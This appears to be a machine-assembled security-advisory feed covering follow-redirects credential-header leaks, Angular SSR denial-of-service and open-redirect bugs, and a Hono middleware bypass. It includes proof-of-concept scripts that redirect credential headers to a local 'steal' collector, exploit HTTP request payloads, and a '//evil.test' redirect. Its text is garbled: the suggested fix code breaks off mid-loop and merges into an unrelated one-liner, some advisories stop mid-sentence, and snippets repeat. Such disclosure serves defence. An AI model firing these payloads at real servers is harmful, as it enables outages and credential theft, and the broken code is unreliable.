Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### follow-redirects array-form headers bypass cross-origin credential stripping
https://kevwire.com/record/CVE-2026-111756
follow-redirects array-form headers bypass cross-origin credential stripping (Oct 20, 2026).
```js
function removeMatchingHeaders(regex, headers) {
 var lastValue;
 for (var header in headers) { // for...in over an ARRAY yields "0","1","2"...
 if (regex.test(header)) { // the header-name filter never matches a numeric index
 lastValue = headers[header];
 delete headers[header];
 }
 }
 return (lastValue === null || typeof lastValue === "undefined") ?
 undefined : String(lastValue).trim();
}
```

It is invoked from `_processResponse` for three purposes, all with the caller-supplied `this._options.headers`:
CVSS 8.2 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111756).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111756&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-q3jh-wrc6-jgq8: https://github.com/advisories/GHSA-q3jh-wrc6-jgq8
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-111756: https://nvd.nist.gov/vuln/detail/CVE-2026-111756
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111756&date=2026-10-25
### Summary
follow-redirects removes sensitive credential headers (Authorization, Proxy-Authorization, Cookie, and any caller-declared `sensitiveHeaders`) before following a redirect that crosses to a different host or downgrades to a less secure protocol. The removal routine iterates the caller's headers container with `for...in` and matches header names against a filter. This assumes the headers container is a plain object keyed by header names. Node's underlying `http.request`, which follow-redirects is a drop-in replacement for, also accepts headers as an alternating array of names and values. For an array, `for...in` yields the numeric indices `"0"`, `"1"`, `"2"` and so on, which never match a header-name filter, so nothing is removed. An application that sends array-form headers and follows an attacker-controlled cross-origin redirect therefore forwards its Authorization, Cookie, and Proxy-Authorization headers verbatim to the attacker-controlled destination, with no error or warning. The `sensitiveHeaders` option added to fix CVE-2026-40895 / GHSA-r4q5-vmmm-2653 is equally ineffective, because it relies on the same helper. This is an unauthenticated confidentiality vulnerability: any remote server the victim application contacts can harvest the victim's credential headers by responding with a cross-origin redirect.

### Details
The cross-origin credential-stripping control is implemented by `removeMatchingHeaders(regex, headers)` at `index.js:630-640`:

```js
function removeMatchingHeaders(regex, headers) {
 var lastValue;
 for (var header in headers) { // for...in over an ARRAY yields "0","1","2"...
 if (regex.test(header)) { // the header-name filter never matches a numeric index
 lastValue = headers[header];
 delete headers[header];
 }
 }
 return (lastValue === null || typeof lastValue === "undefined") ?
 undefined : String(lastValue).trim();
}
```

It is invoked from `_processResponse` for three purposes, all with the caller-supplied `this._options.headers`:

- `index.js:490` - strip the credential filter (`this._headerFilter`, which covers the built-in list Authorization/Proxy-Authorization/Cookie plus any `sensitiveHeaders`) when the redirect crosses origin or downgrades protocol.
- `index.js:470` - strip the `Host` header (`/^host$/i`).
- `index.js:466` - strip `content-*` headers when a 301/302/303 converts POST to GET.

The caller-supplied headers container is passed straight through to each redirected request via `nativeProtocol.request(this._options)` at `index.js:352`. `_sanitizeOptions` (index.js:300-331) only replaces `options.headers` when it is falsy, so an array is left untouched.

Node's `http.request` accepts `options.headers` as an alternating array of names and values (for example `["Authorization", "Bearer ...", "Cookie", "session=..."]`). This is a supported way to control header ordering and duplication. For such an array, `for (var header in headers)` iterates the numeric indices `"0"`, `"1"`, `"2"`, and the header-name regex never matches any of them, so `removeMatchingHeaders` deletes nothing. Every one of the three strip operations above silently no-ops:

- The built-in credential headers (Authorization, Cookie, Proxy-Authorization) are forwarded to the cross-origin redirect target.
- Any `sensitiveHeaders` the caller declared are forwarded too.
- The stale `Host` of the previous origin is re-sent to the new origin.
- On a POST-to-GET redirect the `content-*` headers are retained, leaving `Content-Length` inconsistent with the now-empty body.

The primary and highest-impact consequence is disclosure of credential headers. The stale `Host` re-send and the `Content-Length` inconsistency are secondary correctness defects arising from the same root cause.

Root-cause history: the `for...in`-based `removeMatchingHeaders` used for the built-in credential strip has been present since the cross-host Authorization drop was introduced (commit `724087d`, first released in v1.11.0) and is unchanged through 1.16.0. The `sensitiveHeaders` layer was introduced in 1.16.0 (commit `844c4d3`). The behavior was verified directly on both 1.15.11 and 1.16.0.

Suggested remediation: handle or explicitly reject Node's array-form headers. The strictest fix is to detect `Array.isArray(options.headers)` in `_sanitizeOptions` and throw a clear `TypeError` instructing callers to pass an object, so misuse fails loudly instead of silently downgrading security. If array support is desired, extend `removeMatchingHeaders` to walk the array in name/value pairs:

```js
function removeMatchingHeaders(regex, headers) {
 if (Array.isArray(headers)) {
 var lastValue;
 for (var i = 0; i r.end(JSON.stringify(q.headers)));s.listen(0,"127.0.0.1",()=>{var p=s.address().port;http.request({hostname:"127.0.0.1",port:p,headers:["Authorization","Bearer T","Cookie","c=1"]},res=>{var b="";res.on("data",c=>b+=c);res.on("end",()=>{console.log(JSON.parse(b).authorization, JSON.parse(b).cookie);s.close();});}).end();});'
```
Observed: `Bearer T c=1` (the server receives both headers, confirming array form is valid and delivered).

Minimal form (built-in credential list), `arrayleak.js`:
```js
var followRedirects = require("./index.js");
var http = require("http");
var redirector = http.createServer(function (req, res) {
 req.resume();
 res.writeHead(302, { Location: "http://127.0.0.1:47302/steal" }); // cross-origin (different port)
 res.end();
});
var collector = http.createServer(function (req, res) {
 res.end(JSON.stringify(req.headers)); // attacker-controlled target
});
redirector.listen(47301, "127.0.0.1", function () {
 collector.listen(47302, "127.0.0.1", function () {
 followRedirects.http.request({
 hostname: "127.0.0.1", port: 47301, path: "/", method: "GET",
 headers: [
 "Host", "127.0.0.1:47301",
 "Authorization", "Bearer ARRAY-FORM-VICTIM-TOKEN",
 "Cookie", "session=ARRAY-FORM-SESSION-ID",
 "X-Custom", "harmless"
 ]
 }, function (res) {
 var body = ""; res.on("data", function (c) { body += c; }

Affected package ranges reported by GitHub:
follow-redirects: >= 1.16.0, < 1.16.1
Action: GitHub lists first patched versions: follow-redirects: 1.16.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### follow-redirects sensitiveHeaders regex escaping can expose credential headers
https://kevwire.com/record/CVE-2026-111755
follow-redirects sensitiveHeaders regex escaping can expose credential headers (Oct 20, 2026).
```js
this._headerFilter = new RegExp("^(?:" +
 sensitiveHeaders.concat(options.sensitiveHeaders).map(escapeRegex).join("|") +
 ")$", "i");
```

`escapeRegex` at `index.js:703-705`:
CVSS 8.2 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-8r9p-f939-6h3c).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111755&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-8r9p-f939-6h3c: https://github.com/advisories/GHSA-8r9p-f939-6h3c
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-111755: https://nvd.nist.gov/vuln/detail/CVE-2026-111755
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111755&date=2026-10-25
### Summary
follow-redirects 1.16.0 introduced the `sensitiveHeaders` option (the fix for CVE-2026-40895 / GHSA-r4q5-vmmm-2653), which lets an application declare extra header names that must be removed when a redirect crosses to a different host or downgrades protocol. The filter is a single case-insensitive regular expression built by concatenating the declared header names into an alternation after passing each through `escapeRegex`. `escapeRegex` escapes only a partial set of metacharacters and leaves `^`, `|`, `[`, `{`, and `}` unescaped. Header names may legitimately contain `^` and `|` (both are valid RFC 9110 token characters that Node accepts and sends), and for a declared name containing either, the generated pattern can never match the intended header. As a result, an application that adopts this option to protect a custom credential header, then follows an attacker-controlled cross-origin redirect, forwards that credential to the attacker with no error or warning, while believing it is protected. The failure is silent: the protection simply does not exist for the affected names. The built-in list (Authorization, Proxy-Authorization, Cookie) contains no metacharacters and is not affected by this defect.

### Details
The filter is constructed once, in the `RedirectableRequest` constructor at `index.js:118-120`:

```js
this._headerFilter = new RegExp("^(?:" +
 sensitiveHeaders.concat(options.sensitiveHeaders).map(escapeRegex).join("|") +
 ")$", "i");
```

`escapeRegex` at `index.js:703-705`:

```js
function escapeRegex(regex) {
 return regex.replace(/[\]\\/()*+?.$]/g, "\\$&"); // escapes ] \ / ( ) * + ? . $ -- NOT ^ | [ { }
}
```

The character class escapes `]`, `\`, `/`, `(`, `)`, `*`, `+`, `?`, `.`, and `$`. It omits `^`, `|`, `[`, `{`, and `}`. Of these, Node's `http.ClientRequest` accepts `^` and `|` in header names (they are valid `tchar` values under RFC 9110) and rejects `[`, `{`, `}` with `ERR_INVALID_HTTP_TOKEN`, so `^` and `|` are the reachable vectors for a silent credential leak. Separately, although `[`, `{`, `}` cannot appear as live header names, declaring a `sensitiveHeaders` entry that contains one of them injects an unbalanced token into the alternation (for example an unterminated character class), so the filter `RegExp` throws a `SyntaxError` in the `RedirectableRequest` constructor and the request fails to start. That case is a loud request-time crash from the same incomplete-escaping root cause rather than a silent bypass, and the canonical escaper below fixes it as well.

For a declared sensitive header name containing an unescaped metacharacter, the alternation is broken in a fail-open way:

- A name containing `^`, for example `X-Api^Key`, yields the alternative `X-Api^Key` inside the pattern. The `^` becomes a mid-pattern start-of-string anchor, so the alternative can never match any real header name. `test("X-Api^Key")` returns `false`, and the header is not stripped.
- A name containing `|`, for example `X-Token|Secret`, is split into two separate alternatives `X-Token` and `Secret`. The real header `X-Token|Secret` is never matched (not stripped), while unrelated headers literally named `X-Token` or `Secret` would be stripped instead.

The generated filter source, reproduced from the exact library logic, is:
```
^(?:Authorization|Proxy-Authorization|Cookie|X-Api^Key|X-Token|Secret|X-Control-Key)$
```
Direct matching results against this filter: `X-Api^Key` -> false, `X-Token|Secret` -> false, `X-Control-Key` (normal name) -> true, and the split-off `X-Token` -> true and `Secret` -> true (collateral wrong-stripping). The built-ins Authorization, Proxy-Authorization, Cookie all -> true.

Secondary, related weakness (filter snapshot not refreshed after `beforeRedirect`): the filter is built once at construction and applied at `index.js:490`, which runs before the `beforeRedirect(this._options, ...)` hook and the subsequent `_sanitizeOptions` at `index.js:494-506`. Because the strip happens before the hook and `this._headerFilter` is never rebuilt, any entry a caller adds to `options.sensitiveHeaders` inside `beforeRedirect` is silently ignored. This facet is lower severity: mutating `sensitiveHeaders` inside `beforeRedirect` is not a documented usage of the option (the documented path is the request option), so it is best treated as a hardening item bundled with the escaping fix rather than an independent control bypass. It is included here because both issues undermine the same control and share a remediation.

Suggested remediation: two changes close both facets.

1. Escape the complete set of regular-expression metacharacters:
```js
function escapeRegex(str) { return str.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); }
```
This was verified to restore correct matching for all affected names while preserving the built-in matches.

2. Build the filter at strip time, or rebuild it after the `beforeRedirect` hook re-sanitizes options, so entries added inside the hook take effect. For example, replace the cached `this._headerFilter` with a `this._getHeaderFilter()` that constructs the RegExp from the current `this._options.sensitiveHeaders` on each redirect.

Additionally, since header names have a strict grammar, consider validating each entry of `options.sensitiveHeaders` against the RFC 9110 token character set and throwing an explicit error on invalid names, so misconfiguration fails loudly. Add a unit test asserting that every declared name is actually matched by the generated filter; the current suite only exercises metacharacter-free names (`Sensitive-A`, `x-sensitive-b`), which is why the defect passes CI.

References:
- https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653
- https://github.com/follow-redirects/follow-redirects/pull/284
- https://github.com/follow-redirects/follow-redirects/commit/844c4d302ac963d29bdb5dc1754ec7df3d70d7f9

### PoC
Environment: Node.js v24.18.0 on Windows 11. Run each script from a c

Affected package ranges reported by GitHub:
follow-redirects: >= 1.16.0, < 1.16.1
Action: GitHub lists first patched versions: follow-redirects: 1.16.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### @angular/router: Denial of Service via RouterLink Query Parameter Retention in Server-Side Rendering (SSR)
https://kevwire.com/record/CVE-2026-111751
@angular/router: Denial of Service via RouterLink Query Parameter Retention in Server-Side Rendering (SSR) (Oct 20, 2026).
A denial of service (DoS) vulnerability was identified in `@angular/router` when Server-Side Rendering (SSR) is enabled on Node.js (V8) and `RouterLink` directives are rendered with `queryParamsHandling: 'merge'` or `'preserve'`, configured either per link or globally via `defaultQueryParamsHandling`.

Starting in v21.2.0 ([angular/angular#66181](https://github.com/angular/angular/pull/66181)), `RouterLink` internals were refactored to use signals, introducing a computed signal (`_urlTree`) that cached the returned `UrlTree` instance on the directive. Because each rendered link maintains an active `RouterLink` instance for the entire duration of the request lifecycle, the computed signal permanently pinned the `UrlTree` and its associated query parameter dictionary in the heap until the SSR response completed.
CVSS 8.2 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-57xq-rjx2-v5xh).
Sources:
GitHub-reviewed advisory GHSA-57xq-rjx2-v5xh: https://github.com/advisories/GHSA-57xq-rjx2-v5xh
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
A denial of service (DoS) vulnerability was identified in `@angular/router` when Server-Side Rendering (SSR) is enabled on Node.js (V8) and `RouterLink` directives are rendered with `queryParamsHandling: 'merge'` or `'preserve'`, configured either per link or globally via `defaultQueryParamsHandling`.

Starting in v21.2.0 ([angular/angular#66181](https://github.com/angular/angular/pull/66181)), `RouterLink` internals were refactored to use signals, introducing a computed signal (`_urlTree`) that cached the returned `UrlTree` instance on the directive. Because each rendered link maintains an active `RouterLink` instance for the entire duration of the request lifecycle, the computed signal permanently pinned the `UrlTree` and its associated query parameter dictionary in the heap until the SSR response completed.

When query parameter handling is set to `'merge'` or `'preserve'`, each link copies the incoming request's query parameters into its own `UrlTree`. During SSR, memory consumption scales multiplicatively:

$$\text{Heap Retention} \approx (\text{Number of affected links}) \times (\text{Size of parsed query parameter map})$$

Because parsed JavaScript objects and property dictionaries require substantially more heap space than the raw query string—particularly when property names trigger dense array allocations under V8 property-storage heuristics—an attacker can supply oversized query strings to amplify heap consumption by orders of magnitude per in-flight request.

### Impact

Successful exploitation allows an unauthenticated remote attacker to exhaust the Node.js old-space heap with modest concurrent request volume, terminating the SSR worker with an unrecoverable JavaScript heap out of memory fatal crash.

* **Numeric Names Not Required:** Numeric query parameter names trigger larger V8 property-storage allocations (~558 KB per parsed dictionary in tests vs. ~197 KB for non-numeric equivalents), lowering the concurrency threshold needed for a crash. However, non-numeric query parameters also produce significant heap amplification and can exhaust worker memory with proportionally higher concurrency.
* **Client-side SPAs Unaffected:** Pure client-side Angular applications (Single Page Applications without SSR) are not vulnerable, as local browser memory consumption does not cross a security boundary.

### Attack Preconditions & Vulnerable Configurations

An application is affected only if all of the following conditions are met:

1. **SSR Enabled:** The application runs in a Server-Side Rendering environment powered by Node.js / V8.
2. **Merged or Preserved Query Parameters:** `RouterLink` elements rendered during SSR use `queryParamsHandling: 'merge'` or `'preserve'`, either bound explicitly on links or configured application-wide via `withRouterConfig({ defaultQueryParamsHandling: 'merge' })`.
3. **Upstream Proxy Forwards Long Request Lines:** Reverse proxies or load balancers (e.g., Nginx, AWS ALB, Cloudflare) forward long query strings to the Node.js application rather than rejecting them at the edge. (For example, Nginx's default 8 KB `large_client_header_buffers` limit rejects 16 KB request lines unless explicitly increased).
4. **Overlapping Renders:** Because retained memory is freed once each request completes, multiple concurrent requests must be processed simultaneously in the same Node.js worker instance (such as pages awaiting asynchronous data fetching, route resolvers, or external API calls during SSR).

### Exploit Payload Example

An attacker issues concurrent HTTP requests containing dense query parameters to an SSR page that renders multiple merged links:

```http
GET /products?0&17&34&51&68&85&...&48042 HTTP/1.1
Host: example.com
```

### Patches

The issue is resolved by removing persistent `UrlTree` retention from `RouterLink` ([angular/angular#70953](https://github.com/angular/angular/pull/70953)). `RouterLink` now tracks route dependencies directly in `reactiveHref` and discards intermediate `UrlTree` instances immediately after computing the serialized href string. The `urlTree` getter and click handlers compute `UrlTree` instances on demand.

As a result, intermediate query parameter maps are short-lived allocations collected during young-generation GC scavenges rather than remaining pinned in the heap for the lifetime of the request, restoring the memory profile of Angular 21.1 and earlier.

Patched versions:
* `22.2.1`
* `21.2.25`

Versions prior to 21.2.0 (including Angular 20.x LTS and 21.1.x) do not retain `UrlTree` instances in `RouterLink` and are not vulnerable to this issue.

### Workarounds & Mitigations

If you cannot immediately upgrade to a patched version, apply one or more of the following mitigations:

1. **Avoid 'merge' and 'preserve' on Server-Rendered Links:**
 Remove `defaultQueryParamsHandling: 'merge'` (or `'preserve'`) from global configuration. Explicitly bind only the specific query parameters each link requires (e.g., `[queryParams]="{ filter: filter() }"`). Even on patched versions, this practice prevents unnecessary request-derived parameter propagation into generated DOM markup.

2. **Limit Query String Length at Reverse Proxy or Middleware:**
 Configure your edge proxy, web application firewall (WAF), or reverse proxy to reject requests with excessively long query strings (e.g., exceeding 2,048 bytes).

 Alternatively, reject oversized query strings in Node.js before Angular SSR handles the request:
 ```ts
 // server.ts (before Angular SSR handler)
 app.use((req, res, next) => {
 const queryIndex = req.url.indexOf('?');
 if (queryIndex !== -1 && req.url.length - queryIndex > 2048) {
 res.status(414).send('URI Too Long');
 return;
 }
 next();
 });
 ```

3. **Increase Node.js Old Space:**
 Increasing `--max-old-space-size` (e.g., to 2048 MB or 4096 MB) increases the memory headroom and the concurrency threshold required to exhaust memory, though it does not fully eliminate vulnerability under sustained traffic.

Affected package ranges reported by GitHub:
@angular/router: >= 22.0.0, < 22.2.1
@angular/router: >= 21.2.0, < 21.2.25
Action: GitHub lists first patched versions: @angular/router: 22.2.1; @angular/router: 21.2.25. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### @angular/router: Denial of Service via Unmatched Empty-Path Outlet Route Matching in Server-Side Rendering (SSR)
https://kevwire.com/record/CVE-2026-111752
@angular/router: Denial of Service via Unmatched Empty-Path Outlet Route Matching in Server-Side Rendering (SSR) (Oct 20, 2026).
A denial of service (DoS) vulnerability was identified in `@angular/router` when Server-Side Rendering (SSR) is enabled on Node.js (V8).

During route recognition, `@angular/router` fails to validate whether an auxiliary outlet segment in the URL matches a route configured for that specific outlet name. Because unconfigured empty-path outlet groups (such as `a:/()`, `x:/(...)`, or `///(...)`) are not rejected during matching, the router repeatedly re-evaluates the route configuration against each arbitrary outlet segment provided in the URL.
CVSS 8.2 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-62vg-58rm-qff7).
Sources:
GitHub-reviewed advisory GHSA-62vg-58rm-qff7: https://github.com/advisories/GHSA-62vg-58rm-qff7
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
A denial of service (DoS) vulnerability was identified in `@angular/router` when Server-Side Rendering (SSR) is enabled on Node.js (V8).

During route recognition, `@angular/router` fails to validate whether an auxiliary outlet segment in the URL matches a route configured for that specific outlet name. Because unconfigured empty-path outlet groups (such as `a:/()`, `x:/(...)`, or `///(...)`) are not rejected during matching, the router repeatedly re-evaluates the route configuration against each arbitrary outlet segment provided in the URL.

When a request URL contains multiple arbitrary empty-path outlet segments, this improper matching forces the router to instantiate duplicate `ActivatedRouteSnapshot` trees, repeatedly execute `canMatch` guards and route resolvers, and allocate separate copies of route parameters and `queryParams` for each unconfigured outlet.

An unauthenticated remote attacker can exploit this behavior by sending requests with crafted outlet segments to exhaust the Node.js memory heap or overwhelm CPU resources, leading to SSR worker termination and service disruption.

### Impact

Successful exploitation allows an unauthenticated remote attacker to exhaust the Node.js heap with a single crafted request or a small number of concurrent requests, terminating the SSR worker process with a fatal JavaScript heap out-of-memory crash. When the matched routes declare `canMatch` guards or resolvers, a single short request can also trigger repeated guard or resolver executions, increasing load on backend services and holding worker connections open.

* **Transient Allocation:** Memory is released once route recognition completes; there is no persistent memory leak. The primary impact is process termination.
* **Client-side SPAs Unaffected:** Client-side Angular applications running in the browser are not vulnerable, as browser memory consumption does not cross a security boundary.
* **Prerendering (SSG) Unaffected:** Build-time prerendering does not process attacker-supplied request URLs.

### Attack Preconditions & Vulnerable Configurations

An application is affected only if all of the following conditions are met:

1. **SSR Enabled:** The application renders on demand on a Node.js / V8 server.
2. **Susceptible Route Configuration:** At least one level of the route configuration contains either:
 * an empty-path (`path: ""`) route (e.g., `{path: "", component: ShopPage}`), or
 * a route assigned to a named outlet (e.g., `{path: "dashboard", children: [{path: ":id", outlet: "detail", component: DetailPanel}]}`).
3. **Upstream Request Line Forwarding:** Request lines reach the Node.js process without being rejected upstream by edge proxies. Node.js accepts request headers up to 16 KiB by default. Guard/resolver amplification requires only a short URL.
4. **Constrained Heap Size:** Worker heaps are sized small enough relative to the request payload and concurrency (e.g., containers or serverless instances configured with 128 MiB–1 GiB).

### Exploit Payload Examples

Against a configuration with empty-path (`path: ""`) routes and query parameters:

```http
GET /shop/(a:/()//b:/()//c:/()//...)?param1=value&param2=value... HTTP/1.1
Host: example.com
```

Against a configuration with named-outlet or sibling routes:

```http
GET /dashboard/(detail:1//x:/(detail:1//x:/(...)//y:/(...))//y:/(...)) HTTP/1.1
Host: example.com
```

### Patches

The issue is resolved in [angular/angular#71055](https://github.com/angular/angular/pull/71055). The router now requires every child outlet segment group to match a route configured for its target outlet before unwrapping child segments or completing a match, and prevents unconfigured empty-path outlet groups from matching routes declared for other outlets.

Patched versions:
* `22.2.1`
* `21.2.25`
* `20.3.33`

Versions prior to v20 are also affected but are no longer supported and will not receive a patch.

### Workarounds & Mitigations

If you cannot immediately upgrade to a patched version, apply one or more of the following mitigations:

1. **Reject Parenthesized or Empty-Path Outlet URLs in Middleware or WAF (Recommended):**
 In `@angular/router`, auxiliary outlet groups in a URL always use parentheses `(...)`, and empty-path outlet groups in a URL always take the form `:/( `, `(/ `, or `///( `.

 * If your application does **not** use named (auxiliary) outlets in URLs, reject requests whose path contains `(` or `)` before Angular SSR handles the request.
 * If your application does use named outlets, reject requests whose path contains empty-path outlet sequences (`:/( `, `(/ `, or `///( `).

 Unlike URL length limits, this completely blocks both heap exhaustion and short-URL guard/resolver amplification:

 ```typescript
 // server.ts (placed before Angular SSR handler)
 app.use((req, res, next) => {
 let pathname: string;
 try {
 pathname = decodeURI(req.url.split(/[?#]/, 1)[0]);
 } catch {
 res.status(400).send("Bad Request");
 return;
 }

 // Option A: If the app does not use named outlets in URLs, block all parenthesized groups:
 if (/[()]/.test(pathname)) {
 res.status(400).send("Bad Request");
 return;
 }

 // Option B: If the app uses named outlets, block only empty-path outlet groups:
 if (/:\/\(|\(\//\(|\/\/\/\(/.test(pathname)) {
 res.status(400).send("Bad Request");
 return;
 }

 next();
 });
 ```

2. **Limit URL Length at Reverse Proxy or Middleware:**
 Configure your edge proxy, web application firewall (WAF), or reverse proxy to reject requests with excessively long URLs (e.g., exceeding 2,048 bytes). The outlet portion of the payload is in the path, so limit the full request target, not only the query string. This reduces, but does not eliminate, guard/resolver amplification, which requires only a short URL.

3. **Increase Node.js Old Space:**
 Increasing `--max-old-space-size` raises the request size and concurrency required to exhaust memory, though it does not eliminate the issue.

Affected package ranges reported by GitHub:
@angular/router: >= 22.0.0, < 22.2.1
@angular/router: >= 21.0.0, < 21.2.25
@angular/router: >= 20.0.0, < 20.3.33
@angular/router: <= 19.2.25
Action: GitHub lists first patched versions: @angular/router: 22.2.1; @angular/router: 21.2.25; @angular/router: 20.3.33. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Hono: `serveStatic` decodes the request path a second time, leading to bypass of middleware on static paths
https://kevwire.com/record/CVE-2026-111757
Hono: `serveStatic` decodes the request path a second time, leading to bypass of middleware on static paths (Oct 20, 2026).
`serveStatic` decodes the request path a second time after Hono has already decoded it for routing. A crafted request can be routed as one path and served as another, so middleware mounted on a static prefix does not run for a file under that prefix.

Hono decodes the request path once before routing. `serveStatic` decoded it again before resolving the file. With a malformed percent-encoded sequence, the first decode leaves part of the path encoded, the router matches the encoded form, and the second decode resolves the real directory. The file is still resolved inside the configured root; this is not a traversal outside it.
CVSS 5.3 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-5r4p-p66f-jhc7).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111757&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-5r4p-p66f-jhc7: https://github.com/advisories/GHSA-5r4p-p66f-jhc7
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111757&date=2026-10-25
### Summary

`serveStatic` decodes the request path a second time after Hono has already decoded it for routing. A crafted request can be routed as one path and served as another, so middleware mounted on a static prefix does not run for a file under that prefix.

### Details

Hono decodes the request path once before routing. `serveStatic` decoded it again before resolving the file. With a malformed percent-encoded sequence, the first decode leaves part of the path encoded, the router matches the encoded form, and the second decode resolves the real directory. The file is still resolved inside the configured root; this is not a traversal outside it.

### Impact

An unauthenticated attacker may reach static files without the middleware on their prefix running, for example an authentication check. This affects applications that mount middleware on part of the directory served by `serveStatic`. Applications that serve only public files are not affected.

Affected package ranges reported by GitHub:
hono: >= 4.12.4, < 4.13.11
Action: GitHub lists first patched versions: hono: 4.13.11. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### @angular/platform-server: Open Redirect via Protocol-Relative URLs in Server-Side Rendering (SSR)
https://kevwire.com/record/CVE-2026-111754
@angular/platform-server: Open Redirect via Protocol-Relative URLs in Server-Side Rendering (SSR) (Oct 20, 2026).
An open redirect vulnerability was identified in `@angular/platform-server` when Server-Side Rendering (SSR) is enabled.

When Angular SSR renders an incoming request, URL resolution and platform navigation are managed by `ServerPlatformLocation` using `resolveUrl` (or `parseUrl` in v20). While `resolveUrl` rejected protocol-relative URLs whose raw string directly started with `//`, this check ran *prior* to WHATWG URL normalization.
CVSS 5.1 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-w739-gvwx-grc3).
Sources:
GitHub-reviewed advisory GHSA-w739-gvwx-grc3: https://github.com/advisories/GHSA-w739-gvwx-grc3
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
An open redirect vulnerability was identified in `@angular/platform-server` when Server-Side Rendering (SSR) is enabled.

When Angular SSR renders an incoming request, URL resolution and platform navigation are managed by `ServerPlatformLocation` using `resolveUrl` (or `parseUrl` in v20). While `resolveUrl` rejected protocol-relative URLs whose raw string directly started with `//`, this check ran *prior* to WHATWG URL normalization.

When a request URL includes a popping dot-segment followed by multiple slashes (such as `/.//evil.test` or serialized from router route shapes like `/.;/(//evil.test)`), the input bypassed the initial `urlStr.startsWith('//')` check. Subsequent WHATWG URL parsing resolved the dot-segments and resulted in a `pathname` starting with `//` (`//evil.test`).

Consequently, `ServerPlatformLocation` stored `pathname = '//evil.test'`. When `@angular/ssr` detected a mismatch between the rendered URL and the router's final location state, it emitted the unnormalized pathname into the HTTP `Location` response header, producing an HTTP 302 redirect with `Location: //evil.test`, which browsers resolve as a protocol-relative navigation off-origin.

### Impact

Successful exploitation allows an unauthenticated remote attacker to craft URLs that trick Angular SSR into redirecting users to an arbitrary external domain.

